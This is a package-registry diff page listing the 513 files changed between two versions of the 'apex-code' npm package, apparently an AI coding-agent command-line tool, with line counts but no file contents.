apex-code 0.0.1-alpha.9 → 0.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (513) hide show
  1. package/CHANGELOG.md +150 -2
  2. package/README.md +9 -8
  3. package/dist/cli/args.d.ts +25 -1
  4. package/dist/cli/args.d.ts.map +1 -1
  5. package/dist/cli/args.js +43 -1
  6. package/dist/cli/args.js.map +1 -1
  7. package/dist/cli/mcp-command.d.ts +9 -0
  8. package/dist/cli/mcp-command.d.ts.map +1 -0
  9. package/dist/cli/mcp-command.js +53 -0
  10. package/dist/cli/mcp-command.js.map +1 -0
  11. package/dist/cli/project-trust.d.ts.map +1 -1
  12. package/dist/cli/project-trust.js +3 -1
  13. package/dist/cli/project-trust.js.map +1 -1
  14. package/dist/cli/startup-ui.d.ts.map +1 -1
  15. package/dist/cli/startup-ui.js +2 -1
  16. package/dist/cli/startup-ui.js.map +1 -1
  17. package/dist/cli.d.ts.map +1 -1
  18. package/dist/cli.js +94 -5
  19. package/dist/cli.js.map +1 -1
  20. package/dist/config.d.ts.map +1 -1
  21. package/dist/config.js +24 -5
  22. package/dist/config.js.map +1 -1
  23. package/dist/core/agent-session-services.d.ts +3 -0
  24. package/dist/core/agent-session-services.d.ts.map +1 -1
  25. package/dist/core/agent-session-services.js +1 -0
  26. package/dist/core/agent-session-services.js.map +1 -1
  27. package/dist/core/agent-session.d.ts +157 -8
  28. package/dist/core/agent-session.d.ts.map +1 -1
  29. package/dist/core/agent-session.js +565 -22
  30. package/dist/core/agent-session.js.map +1 -1
  31. package/dist/core/bash-executor.d.ts.map +1 -1
  32. package/dist/core/bash-executor.js +7 -0
  33. package/dist/core/bash-executor.js.map +1 -1
  34. package/dist/core/checkpoints/git-checkpoints.d.ts +39 -0
  35. package/dist/core/checkpoints/git-checkpoints.d.ts.map +1 -0
  36. package/dist/core/checkpoints/git-checkpoints.js +251 -0
  37. package/dist/core/checkpoints/git-checkpoints.js.map +1 -0
  38. package/dist/core/checkpoints/session-checkpoints.d.ts +23 -0
  39. package/dist/core/checkpoints/session-checkpoints.d.ts.map +1 -0
  40. package/dist/core/checkpoints/session-checkpoints.js +36 -0
  41. package/dist/core/checkpoints/session-checkpoints.js.map +1 -0
  42. package/dist/core/compaction/branch-summarization.d.ts.map +1 -1
  43. package/dist/core/compaction/branch-summarization.js +4 -3
  44. package/dist/core/compaction/branch-summarization.js.map +1 -1
  45. package/dist/core/compaction/compaction.d.ts +5 -0
  46. package/dist/core/compaction/compaction.d.ts.map +1 -1
  47. package/dist/core/compaction/compaction.js +19 -5
  48. package/dist/core/compaction/compaction.js.map +1 -1
  49. package/dist/core/delegation/runtime.d.ts +6 -5
  50. package/dist/core/delegation/runtime.d.ts.map +1 -1
  51. package/dist/core/delegation/runtime.js +4 -3
  52. package/dist/core/delegation/runtime.js.map +1 -1
  53. package/dist/core/exec.d.ts.map +1 -1
  54. package/dist/core/exec.js +5 -2
  55. package/dist/core/exec.js.map +1 -1
  56. package/dist/core/extensions/index.d.ts +1 -1
  57. package/dist/core/extensions/index.d.ts.map +1 -1
  58. package/dist/core/extensions/index.js.map +1 -1
  59. package/dist/core/extensions/loader.d.ts.map +1 -1
  60. package/dist/core/extensions/loader.js +8 -2
  61. package/dist/core/extensions/loader.js.map +1 -1
  62. package/dist/core/extensions/runner.d.ts +5 -0
  63. package/dist/core/extensions/runner.d.ts.map +1 -1
  64. package/dist/core/extensions/runner.js +45 -1
  65. package/dist/core/extensions/runner.js.map +1 -1
  66. package/dist/core/extensions/source-runtime.d.ts +14 -0
  67. package/dist/core/extensions/source-runtime.d.ts.map +1 -0
  68. package/dist/core/extensions/source-runtime.js +56 -0
  69. package/dist/core/extensions/source-runtime.js.map +1 -0
  70. package/dist/core/extensions/types.d.ts +22 -2
  71. package/dist/core/extensions/types.d.ts.map +1 -1
  72. package/dist/core/extensions/types.js.map +1 -1
  73. package/dist/core/formatter-lifecycle.d.ts +69 -0
  74. package/dist/core/formatter-lifecycle.d.ts.map +1 -0
  75. package/dist/core/formatter-lifecycle.js +360 -0
  76. package/dist/core/formatter-lifecycle.js.map +1 -0
  77. package/dist/core/hooks/command-handler.d.ts +19 -0
  78. package/dist/core/hooks/command-handler.d.ts.map +1 -0
  79. package/dist/core/hooks/command-handler.js +112 -0
  80. package/dist/core/hooks/command-handler.js.map +1 -0
  81. package/dist/core/hooks/http-handler.d.ts +10 -0
  82. package/dist/core/hooks/http-handler.d.ts.map +1 -0
  83. package/dist/core/hooks/http-handler.js +36 -0
  84. package/dist/core/hooks/http-handler.js.map +1 -0
  85. package/dist/core/hooks/loader.d.ts +29 -0
  86. package/dist/core/hooks/loader.d.ts.map +1 -0
  87. package/dist/core/hooks/loader.js +139 -0
  88. package/dist/core/hooks/loader.js.map +1 -0
  89. package/dist/core/hooks/runtime.d.ts +13 -0
  90. package/dist/core/hooks/runtime.d.ts.map +1 -0
  91. package/dist/core/hooks/runtime.js +63 -0
  92. package/dist/core/hooks/runtime.js.map +1 -0
  93. package/dist/core/hooks/types.d.ts +83 -0
  94. package/dist/core/hooks/types.d.ts.map +1 -0
  95. package/dist/core/hooks/types.js +24 -0
  96. package/dist/core/hooks/types.js.map +1 -0
  97. package/dist/core/mcp/config.d.ts +16 -0
  98. package/dist/core/mcp/config.d.ts.map +1 -0
  99. package/dist/core/mcp/config.js +166 -0
  100. package/dist/core/mcp/config.js.map +1 -0
  101. package/dist/core/mcp/connector.d.ts +35 -0
  102. package/dist/core/mcp/connector.d.ts.map +1 -0
  103. package/dist/core/mcp/connector.js +105 -0
  104. package/dist/core/mcp/connector.js.map +1 -0
  105. package/dist/core/mcp/contract.d.ts +19 -0
  106. package/dist/core/mcp/contract.d.ts.map +1 -0
  107. package/dist/core/mcp/contract.js +89 -0
  108. package/dist/core/mcp/contract.js.map +1 -0
  109. package/dist/core/mcp/mcp-tool.d.ts +32 -0
  110. package/dist/core/mcp/mcp-tool.d.ts.map +1 -0
  111. package/dist/core/mcp/mcp-tool.js +171 -0
  112. package/dist/core/mcp/mcp-tool.js.map +1 -0
  113. package/dist/core/mcp/metadata-cache.d.ts +29 -0
  114. package/dist/core/mcp/metadata-cache.d.ts.map +1 -0
  115. package/dist/core/mcp/metadata-cache.js +99 -0
  116. package/dist/core/mcp/metadata-cache.js.map +1 -0
  117. package/dist/core/mcp/oauth/authorize.d.ts +21 -0
  118. package/dist/core/mcp/oauth/authorize.d.ts.map +1 -0
  119. package/dist/core/mcp/oauth/authorize.js +32 -0
  120. package/dist/core/mcp/oauth/authorize.js.map +1 -0
  121. package/dist/core/mcp/oauth/discover.d.ts +27 -0
  122. package/dist/core/mcp/oauth/discover.d.ts.map +1 -0
  123. package/dist/core/mcp/oauth/discover.js +116 -0
  124. package/dist/core/mcp/oauth/discover.js.map +1 -0
  125. package/dist/core/mcp/oauth/flow.d.ts +31 -0
  126. package/dist/core/mcp/oauth/flow.d.ts.map +1 -0
  127. package/dist/core/mcp/oauth/flow.js +175 -0
  128. package/dist/core/mcp/oauth/flow.js.map +1 -0
  129. package/dist/core/mcp/oauth/mcp-token.d.ts +51 -0
  130. package/dist/core/mcp/oauth/mcp-token.d.ts.map +1 -0
  131. package/dist/core/mcp/oauth/mcp-token.js +129 -0
  132. package/dist/core/mcp/oauth/mcp-token.js.map +1 -0
  133. package/dist/core/mcp/oauth/pkce.d.ts +12 -0
  134. package/dist/core/mcp/oauth/pkce.d.ts.map +1 -0
  135. package/dist/core/mcp/oauth/pkce.js +11 -0
  136. package/dist/core/mcp/oauth/pkce.js.map +1 -0
  137. package/dist/core/mcp/oauth/register.d.ts +16 -0
  138. package/dist/core/mcp/oauth/register.d.ts.map +1 -0
  139. package/dist/core/mcp/oauth/register.js +42 -0
  140. package/dist/core/mcp/oauth/register.js.map +1 -0
  141. package/dist/core/mcp/oauth/token-client.d.ts +33 -0
  142. package/dist/core/mcp/oauth/token-client.d.ts.map +1 -0
  143. package/dist/core/mcp/oauth/token-client.js +65 -0
  144. package/dist/core/mcp/oauth/token-client.js.map +1 -0
  145. package/dist/core/mcp/runtime.d.ts +20 -0
  146. package/dist/core/mcp/runtime.d.ts.map +1 -0
  147. package/dist/core/mcp/runtime.js +37 -0
  148. package/dist/core/mcp/runtime.js.map +1 -0
  149. package/dist/core/mcp/schema.d.ts +22 -0
  150. package/dist/core/mcp/schema.d.ts.map +1 -0
  151. package/dist/core/mcp/schema.js +20 -0
  152. package/dist/core/mcp/schema.js.map +1 -0
  153. package/dist/core/mcp/server-manager.d.ts +43 -0
  154. package/dist/core/mcp/server-manager.d.ts.map +1 -0
  155. package/dist/core/mcp/server-manager.js +142 -0
  156. package/dist/core/mcp/server-manager.js.map +1 -0
  157. package/dist/core/mcp/types.d.ts +100 -0
  158. package/dist/core/mcp/types.d.ts.map +1 -0
  159. package/dist/core/mcp/types.js +8 -0
  160. package/dist/core/mcp/types.js.map +1 -0
  161. package/dist/core/permissions/gate.d.ts.map +1 -1
  162. package/dist/core/permissions/gate.js +45 -4
  163. package/dist/core/permissions/gate.js.map +1 -1
  164. package/dist/core/permissions/operations.d.ts +20 -0
  165. package/dist/core/permissions/operations.d.ts.map +1 -0
  166. package/dist/core/permissions/operations.js +9 -0
  167. package/dist/core/permissions/operations.js.map +1 -0
  168. package/dist/core/permissions/policy-command.d.ts +42 -0
  169. package/dist/core/permissions/policy-command.d.ts.map +1 -0
  170. package/dist/core/permissions/policy-command.js +44 -0
  171. package/dist/core/permissions/policy-command.js.map +1 -0
  172. package/dist/core/permissions/responder.d.ts +49 -2
  173. package/dist/core/permissions/responder.d.ts.map +1 -1
  174. package/dist/core/permissions/responder.js +20 -8
  175. package/dist/core/permissions/responder.js.map +1 -1
  176. package/dist/core/permissions/rules.d.ts.map +1 -1
  177. package/dist/core/permissions/rules.js +11 -1
  178. package/dist/core/permissions/rules.js.map +1 -1
  179. package/dist/core/permissions/store.d.ts +18 -0
  180. package/dist/core/permissions/store.d.ts.map +1 -1
  181. package/dist/core/permissions/store.js +89 -8
  182. package/dist/core/permissions/store.js.map +1 -1
  183. package/dist/core/policy-executor.d.ts +47 -0
  184. package/dist/core/policy-executor.d.ts.map +1 -0
  185. package/dist/core/policy-executor.js +228 -0
  186. package/dist/core/policy-executor.js.map +1 -0
  187. package/dist/core/policy-loader.d.ts +72 -0
  188. package/dist/core/policy-loader.d.ts.map +1 -0
  189. package/dist/core/policy-loader.js +195 -0
  190. package/dist/core/policy-loader.js.map +1 -0
  191. package/dist/core/project-trust.d.ts +1 -1
  192. package/dist/core/project-trust.d.ts.map +1 -1
  193. package/dist/core/project-trust.js.map +1 -1
  194. package/dist/core/sandbox/bwrap-arguments.d.ts +41 -0
  195. package/dist/core/sandbox/bwrap-arguments.d.ts.map +1 -0
  196. package/dist/core/sandbox/bwrap-arguments.js +136 -0
  197. package/dist/core/sandbox/bwrap-arguments.js.map +1 -0
  198. package/dist/core/sandbox/child-entry.d.ts.map +1 -1
  199. package/dist/core/sandbox/child-entry.js +3 -1
  200. package/dist/core/sandbox/child-entry.js.map +1 -1
  201. package/dist/core/sandbox/cli-launch.d.ts +84 -4
  202. package/dist/core/sandbox/cli-launch.d.ts.map +1 -1
  203. package/dist/core/sandbox/cli-launch.js +115 -16
  204. package/dist/core/sandbox/cli-launch.js.map +1 -1
  205. package/dist/core/sandbox/cli-supervisor.d.ts +2 -0
  206. package/dist/core/sandbox/cli-supervisor.d.ts.map +1 -1
  207. package/dist/core/sandbox/cli-supervisor.js +50 -2
  208. package/dist/core/sandbox/cli-supervisor.js.map +1 -1
  209. package/dist/core/sandbox/full-access.d.ts +28 -0
  210. package/dist/core/sandbox/full-access.d.ts.map +1 -0
  211. package/dist/core/sandbox/full-access.js +63 -0
  212. package/dist/core/sandbox/full-access.js.map +1 -0
  213. package/dist/core/sandbox/git-identity.d.ts +57 -0
  214. package/dist/core/sandbox/git-identity.d.ts.map +1 -0
  215. package/dist/core/sandbox/git-identity.js +78 -0
  216. package/dist/core/sandbox/git-identity.js.map +1 -0
  217. package/dist/core/sandbox/host-approval.d.ts +42 -0
  218. package/dist/core/sandbox/host-approval.d.ts.map +1 -0
  219. package/dist/core/sandbox/host-approval.js +99 -0
  220. package/dist/core/sandbox/host-approval.js.map +1 -0
  221. package/dist/core/sandbox/linux-backend.d.ts +14 -0
  222. package/dist/core/sandbox/linux-backend.d.ts.map +1 -1
  223. package/dist/core/sandbox/linux-backend.js +158 -80
  224. package/dist/core/sandbox/linux-backend.js.map +1 -1
  225. package/dist/core/sandbox/macos-backend.d.ts +5 -0
  226. package/dist/core/sandbox/macos-backend.d.ts.map +1 -1
  227. package/dist/core/sandbox/macos-backend.js +164 -5
  228. package/dist/core/sandbox/macos-backend.js.map +1 -1
  229. package/dist/core/sandbox/network-proxy.d.ts +19 -0
  230. package/dist/core/sandbox/network-proxy.d.ts.map +1 -1
  231. package/dist/core/sandbox/network-proxy.js +93 -19
  232. package/dist/core/sandbox/network-proxy.js.map +1 -1
  233. package/dist/core/sandbox/policy.d.ts +8 -0
  234. package/dist/core/sandbox/policy.d.ts.map +1 -1
  235. package/dist/core/sandbox/policy.js +29 -12
  236. package/dist/core/sandbox/policy.js.map +1 -1
  237. package/dist/core/sandbox/profiles.d.ts +25 -0
  238. package/dist/core/sandbox/profiles.d.ts.map +1 -0
  239. package/dist/core/sandbox/profiles.js +23 -0
  240. package/dist/core/sandbox/profiles.js.map +1 -0
  241. package/dist/core/sandbox/rpc/command-client.d.ts +28 -0
  242. package/dist/core/sandbox/rpc/command-client.d.ts.map +1 -0
  243. package/dist/core/sandbox/rpc/command-client.js +86 -0
  244. package/dist/core/sandbox/rpc/command-client.js.map +1 -0
  245. package/dist/core/sandbox/rpc/command-proxy.d.ts +48 -0
  246. package/dist/core/sandbox/rpc/command-proxy.d.ts.map +1 -0
  247. package/dist/core/sandbox/rpc/command-proxy.js +120 -0
  248. package/dist/core/sandbox/rpc/command-proxy.js.map +1 -0
  249. package/dist/core/sandbox/rpc/credential-proxy.d.ts.map +1 -1
  250. package/dist/core/sandbox/rpc/credential-proxy.js +2 -96
  251. package/dist/core/sandbox/rpc/credential-proxy.js.map +1 -1
  252. package/dist/core/sandbox/rpc/framing.d.ts +35 -0
  253. package/dist/core/sandbox/rpc/framing.d.ts.map +1 -0
  254. package/dist/core/sandbox/rpc/framing.js +114 -0
  255. package/dist/core/sandbox/rpc/framing.js.map +1 -0
  256. package/dist/core/sandbox/rpc/git-credential-helper.d.ts +47 -0
  257. package/dist/core/sandbox/rpc/git-credential-helper.d.ts.map +1 -0
  258. package/dist/core/sandbox/rpc/git-credential-helper.js +222 -0
  259. package/dist/core/sandbox/rpc/git-credential-helper.js.map +1 -0
  260. package/dist/core/sandbox/rpc/git-credential-proxy.d.ts +66 -0
  261. package/dist/core/sandbox/rpc/git-credential-proxy.d.ts.map +1 -0
  262. package/dist/core/sandbox/rpc/git-credential-proxy.js +209 -0
  263. package/dist/core/sandbox/rpc/git-credential-proxy.js.map +1 -0
  264. package/dist/core/sandbox/supervisor-temp.d.ts +18 -0
  265. package/dist/core/sandbox/supervisor-temp.d.ts.map +1 -0
  266. package/dist/core/sandbox/supervisor-temp.js +21 -0
  267. package/dist/core/sandbox/supervisor-temp.js.map +1 -0
  268. package/dist/core/sandbox/supervisor.d.ts +12 -1
  269. package/dist/core/sandbox/supervisor.d.ts.map +1 -1
  270. package/dist/core/sandbox/supervisor.js +15 -1
  271. package/dist/core/sandbox/supervisor.js.map +1 -1
  272. package/dist/core/sandbox/terminal-handoff.d.ts +68 -0
  273. package/dist/core/sandbox/terminal-handoff.d.ts.map +1 -0
  274. package/dist/core/sandbox/terminal-handoff.js +221 -0
  275. package/dist/core/sandbox/terminal-handoff.js.map +1 -0
  276. package/dist/core/sandbox/terminal-size.d.ts +13 -0
  277. package/dist/core/sandbox/terminal-size.d.ts.map +1 -1
  278. package/dist/core/sandbox/terminal-size.js +23 -2
  279. package/dist/core/sandbox/terminal-size.js.map +1 -1
  280. package/dist/core/sdk.d.ts +22 -0
  281. package/dist/core/sdk.d.ts.map +1 -1
  282. package/dist/core/sdk.js +53 -1
  283. package/dist/core/sdk.js.map +1 -1
  284. package/dist/core/session-manager.d.ts +13 -1
  285. package/dist/core/session-manager.d.ts.map +1 -1
  286. package/dist/core/session-manager.js +32 -5
  287. package/dist/core/session-manager.js.map +1 -1
  288. package/dist/core/settings-manager.d.ts +163 -1
  289. package/dist/core/settings-manager.d.ts.map +1 -1
  290. package/dist/core/settings-manager.js +107 -0
  291. package/dist/core/settings-manager.js.map +1 -1
  292. package/dist/core/slash-commands.d.ts.map +1 -1
  293. package/dist/core/slash-commands.js +2 -0
  294. package/dist/core/slash-commands.js.map +1 -1
  295. package/dist/core/tools/background-shell.d.ts +39 -0
  296. package/dist/core/tools/background-shell.d.ts.map +1 -0
  297. package/dist/core/tools/background-shell.js +81 -0
  298. package/dist/core/tools/background-shell.js.map +1 -0
  299. package/dist/core/tools/bash-command-segments.d.ts.map +1 -1
  300. package/dist/core/tools/bash-command-segments.js +2 -0
  301. package/dist/core/tools/bash-command-segments.js.map +1 -1
  302. package/dist/core/tools/bash.d.ts +30 -15
  303. package/dist/core/tools/bash.d.ts.map +1 -1
  304. package/dist/core/tools/bash.js +228 -12
  305. package/dist/core/tools/bash.js.map +1 -1
  306. package/dist/core/tools/contract-snapshot.d.ts +58 -0
  307. package/dist/core/tools/contract-snapshot.d.ts.map +1 -0
  308. package/dist/core/tools/contract-snapshot.js +51 -0
  309. package/dist/core/tools/contract-snapshot.js.map +1 -0
  310. package/dist/core/tools/contract.d.ts +53 -5
  311. package/dist/core/tools/contract.d.ts.map +1 -1
  312. package/dist/core/tools/contract.js +22 -2
  313. package/dist/core/tools/contract.js.map +1 -1
  314. package/dist/core/tools/delegate.d.ts +6 -4
  315. package/dist/core/tools/delegate.d.ts.map +1 -1
  316. package/dist/core/tools/delegate.js +21 -11
  317. package/dist/core/tools/delegate.js.map +1 -1
  318. package/dist/core/tools/edit-diff.d.ts +48 -0
  319. package/dist/core/tools/edit-diff.d.ts.map +1 -1
  320. package/dist/core/tools/edit-diff.js +215 -3
  321. package/dist/core/tools/edit-diff.js.map +1 -1
  322. package/dist/core/tools/edit.d.ts +8 -0
  323. package/dist/core/tools/edit.d.ts.map +1 -1
  324. package/dist/core/tools/edit.js +53 -7
  325. package/dist/core/tools/edit.js.map +1 -1
  326. package/dist/core/tools/find.d.ts.map +1 -1
  327. package/dist/core/tools/find.js +5 -2
  328. package/dist/core/tools/find.js.map +1 -1
  329. package/dist/core/tools/grep.d.ts.map +1 -1
  330. package/dist/core/tools/grep.js +5 -2
  331. package/dist/core/tools/grep.js.map +1 -1
  332. package/dist/core/tools/index.d.ts +10 -1
  333. package/dist/core/tools/index.d.ts.map +1 -1
  334. package/dist/core/tools/index.js +3 -0
  335. package/dist/core/tools/index.js.map +1 -1
  336. package/dist/core/tools/ls.d.ts.map +1 -1
  337. package/dist/core/tools/ls.js +5 -2
  338. package/dist/core/tools/ls.js.map +1 -1
  339. package/dist/core/tools/lsp.d.ts +19 -1
  340. package/dist/core/tools/lsp.d.ts.map +1 -1
  341. package/dist/core/tools/lsp.js +163 -10
  342. package/dist/core/tools/lsp.js.map +1 -1
  343. package/dist/core/tools/path-permission.d.ts +3 -0
  344. package/dist/core/tools/path-permission.d.ts.map +1 -1
  345. package/dist/core/tools/path-permission.js +16 -4
  346. package/dist/core/tools/path-permission.js.map +1 -1
  347. package/dist/core/tools/path-utils.d.ts +27 -2
  348. package/dist/core/tools/path-utils.d.ts.map +1 -1
  349. package/dist/core/tools/path-utils.js +221 -4
  350. package/dist/core/tools/path-utils.js.map +1 -1
  351. package/dist/core/tools/read.d.ts.map +1 -1
  352. package/dist/core/tools/read.js +20 -11
  353. package/dist/core/tools/read.js.map +1 -1
  354. package/dist/core/tools/test.d.ts +54 -9
  355. package/dist/core/tools/test.d.ts.map +1 -1
  356. package/dist/core/tools/test.js +239 -19
  357. package/dist/core/tools/test.js.map +1 -1
  358. package/dist/core/tools/write.d.ts +7 -0
  359. package/dist/core/tools/write.d.ts.map +1 -1
  360. package/dist/core/tools/write.js +64 -9
  361. package/dist/core/tools/write.js.map +1 -1
  362. package/dist/core/verification-lifecycle.d.ts +77 -0
  363. package/dist/core/verification-lifecycle.d.ts.map +1 -0
  364. package/dist/core/verification-lifecycle.js +146 -0
  365. package/dist/core/verification-lifecycle.js.map +1 -0
  366. package/dist/core/workspace/artifacts.d.ts +45 -0
  367. package/dist/core/workspace/artifacts.d.ts.map +1 -0
  368. package/dist/core/workspace/artifacts.js +165 -0
  369. package/dist/core/workspace/artifacts.js.map +1 -0
  370. package/dist/core/workspace/comparison.d.ts +27 -0
  371. package/dist/core/workspace/comparison.d.ts.map +1 -0
  372. package/dist/core/workspace/comparison.js +94 -0
  373. package/dist/core/workspace/comparison.js.map +1 -0
  374. package/dist/core/workspace/git-observer.d.ts +48 -0
  375. package/dist/core/workspace/git-observer.d.ts.map +1 -0
  376. package/dist/core/workspace/git-observer.js +346 -0
  377. package/dist/core/workspace/git-observer.js.map +1 -0
  378. package/dist/core/workspace/projection.d.ts +3 -0
  379. package/dist/core/workspace/projection.d.ts.map +1 -0
  380. package/dist/core/workspace/projection.js +56 -0
  381. package/dist/core/workspace/projection.js.map +1 -0
  382. package/dist/core/workspace/state.d.ts +133 -0
  383. package/dist/core/workspace/state.d.ts.map +1 -0
  384. package/dist/core/workspace/state.js +96 -0
  385. package/dist/core/workspace/state.js.map +1 -0
  386. package/dist/extensions/llama/client.d.ts +6 -0
  387. package/dist/extensions/llama/client.d.ts.map +1 -1
  388. package/dist/extensions/llama/client.js +7 -0
  389. package/dist/extensions/llama/client.js.map +1 -1
  390. package/dist/extensions/llama/provider.d.ts +3 -1
  391. package/dist/extensions/llama/provider.d.ts.map +1 -1
  392. package/dist/extensions/llama/provider.js +27 -6
  393. package/dist/extensions/llama/provider.js.map +1 -1
  394. package/dist/index.d.ts +4 -1
  395. package/dist/index.d.ts.map +1 -1
  396. package/dist/index.js +3 -0
  397. package/dist/index.js.map +1 -1
  398. package/dist/main.d.ts +3 -1
  399. package/dist/main.d.ts.map +1 -1
  400. package/dist/main.js +41 -9
  401. package/dist/main.js.map +1 -1
  402. package/dist/modes/acp/server.d.ts +55 -0
  403. package/dist/modes/acp/server.d.ts.map +1 -0
  404. package/dist/modes/acp/server.js +244 -0
  405. package/dist/modes/acp/server.js.map +1 -0
  406. package/dist/modes/acp/translate.d.ts +37 -0
  407. package/dist/modes/acp/translate.d.ts.map +1 -0
  408. package/dist/modes/acp/translate.js +50 -0
  409. package/dist/modes/acp/translate.js.map +1 -0
  410. package/dist/modes/index.d.ts +1 -0
  411. package/dist/modes/index.d.ts.map +1 -1
  412. package/dist/modes/index.js +1 -0
  413. package/dist/modes/index.js.map +1 -1
  414. package/dist/modes/interactive/components/assistant-message.d.ts +29 -0
  415. package/dist/modes/interactive/components/assistant-message.d.ts.map +1 -1
  416. package/dist/modes/interactive/components/assistant-message.js +182 -23
  417. package/dist/modes/interactive/components/assistant-message.js.map +1 -1
  418. package/dist/modes/interactive/components/bash-execution.d.ts +7 -0
  419. package/dist/modes/interactive/components/bash-execution.d.ts.map +1 -1
  420. package/dist/modes/interactive/components/bash-execution.js +20 -0
  421. package/dist/modes/interactive/components/bash-execution.js.map +1 -1
  422. package/dist/modes/interactive/components/custom-editor.d.ts +9 -4
  423. package/dist/modes/interactive/components/custom-editor.d.ts.map +1 -1
  424. package/dist/modes/interactive/components/custom-editor.js +20 -9
  425. package/dist/modes/interactive/components/custom-editor.js.map +1 -1
  426. package/dist/modes/interactive/components/extension-selector.d.ts +7 -1
  427. package/dist/modes/interactive/components/extension-selector.d.ts.map +1 -1
  428. package/dist/modes/interactive/components/extension-selector.js +7 -3
  429. package/dist/modes/interactive/components/extension-selector.js.map +1 -1
  430. package/dist/modes/interactive/components/footer.d.ts +19 -0
  431. package/dist/modes/interactive/components/footer.d.ts.map +1 -1
  432. package/dist/modes/interactive/components/footer.js +70 -10
  433. package/dist/modes/interactive/components/footer.js.map +1 -1
  434. package/dist/modes/interactive/components/model-selector.d.ts.map +1 -1
  435. package/dist/modes/interactive/components/model-selector.js +6 -6
  436. package/dist/modes/interactive/components/model-selector.js.map +1 -1
  437. package/dist/modes/interactive/components/permission-preview.d.ts +15 -0
  438. package/dist/modes/interactive/components/permission-preview.d.ts.map +1 -0
  439. package/dist/modes/interactive/components/permission-preview.js +33 -0
  440. package/dist/modes/interactive/components/permission-preview.js.map +1 -0
  441. package/dist/modes/interactive/components/session-selector.d.ts.map +1 -1
  442. package/dist/modes/interactive/components/session-selector.js +2 -2
  443. package/dist/modes/interactive/components/session-selector.js.map +1 -1
  444. package/dist/modes/interactive/components/settings-selector.d.ts +2 -0
  445. package/dist/modes/interactive/components/settings-selector.d.ts.map +1 -1
  446. package/dist/modes/interactive/components/settings-selector.js +10 -0
  447. package/dist/modes/interactive/components/settings-selector.js.map +1 -1
  448. package/dist/modes/interactive/components/tool-execution.d.ts +23 -1
  449. package/dist/modes/interactive/components/tool-execution.d.ts.map +1 -1
  450. package/dist/modes/interactive/components/tool-execution.js +64 -10
  451. package/dist/modes/interactive/components/tool-execution.js.map +1 -1
  452. package/dist/modes/interactive/interactive-mode.d.ts +34 -0
  453. package/dist/modes/interactive/interactive-mode.d.ts.map +1 -1
  454. package/dist/modes/interactive/interactive-mode.js +231 -26
  455. package/dist/modes/interactive/interactive-mode.js.map +1 -1
  456. package/dist/modes/interactive/theme/theme.d.ts +12 -0
  457. package/dist/modes/interactive/theme/theme.d.ts.map +1 -1
  458. package/dist/modes/interactive/theme/theme.js +15 -5
  459. package/dist/modes/interactive/theme/theme.js.map +1 -1
  460. package/dist/modes/print-mode.d.ts.map +1 -1
  461. package/dist/modes/print-mode.js +27 -12
  462. package/dist/modes/print-mode.js.map +1 -1
  463. package/dist/modes/rpc/rpc-client.d.ts +7 -0
  464. package/dist/modes/rpc/rpc-client.d.ts.map +1 -1
  465. package/dist/modes/rpc/rpc-client.js +7 -0
  466. package/dist/modes/rpc/rpc-client.js.map +1 -1
  467. package/dist/modes/rpc/rpc-mode.d.ts.map +1 -1
  468. package/dist/modes/rpc/rpc-mode.js +3 -0
  469. package/dist/modes/rpc/rpc-mode.js.map +1 -1
  470. package/dist/modes/rpc/rpc-types.d.ts +12 -0
  471. package/dist/modes/rpc/rpc-types.d.ts.map +1 -1
  472. package/dist/modes/rpc/rpc-types.js.map +1 -1
  473. package/dist/package-manager-cli.d.ts.map +1 -1
  474. package/dist/package-manager-cli.js +0 -6
  475. package/dist/package-manager-cli.js.map +1 -1
  476. package/dist/utils/shell.d.ts.map +1 -1
  477. package/dist/utils/shell.js +6 -4
  478. package/dist/utils/shell.js.map +1 -1
  479. package/dist/utils/version-check.d.ts.map +1 -1
  480. package/dist/utils/version-check.js +6 -4
  481. package/dist/utils/version-check.js.map +1 -1
  482. package/docs/compaction.md +4 -0
  483. package/docs/custom-provider.md +7 -7
  484. package/docs/environment-variables.md +1 -1
  485. package/docs/extensions.md +18 -0
  486. package/docs/keybindings.md +1 -1
  487. package/docs/quickstart.md +1 -1
  488. package/docs/rpc.md +23 -0
  489. package/docs/sdk.md +25 -0
  490. package/docs/settings.md +12 -4
  491. package/docs/terminal-setup.md +12 -0
  492. package/docs/usage.md +4 -3
  493. package/examples/extensions/built-in-tool-renderer.ts +8 -4
  494. package/examples/extensions/custom-provider-anthropic/package-lock.json +2 -2
  495. package/examples/extensions/custom-provider-anthropic/package.json +1 -1
  496. package/examples/extensions/custom-provider-gitlab-duo/package.json +1 -1
  497. package/examples/extensions/git-checkpoint.ts +24 -36
  498. package/examples/extensions/gondolin/package-lock.json +2 -2
  499. package/examples/extensions/gondolin/package.json +1 -1
  500. package/examples/extensions/minimal-mode.ts +2 -2
  501. package/examples/extensions/permission-gate.ts +1 -1
  502. package/examples/extensions/plan-mode/index.ts +1 -1
  503. package/examples/extensions/rpc-demo.ts +1 -1
  504. package/examples/extensions/sandbox/package-lock.json +2 -2
  505. package/examples/extensions/sandbox/package.json +1 -1
  506. package/examples/extensions/with-deps/package-lock.json +2 -2
  507. package/examples/extensions/with-deps/package.json +1 -1
  508. package/npm-shrinkwrap.json +194 -46
  509. package/package.json +14 -12
  510. package/dist/server/create-harness.d.ts +0 -26
  511. package/dist/server/create-harness.d.ts.map +0 -1
  512. package/dist/server/create-harness.js +0 -107
  513. package/dist/server/create-harness.js.map +0 -1
@@ -1 +1 @@
1
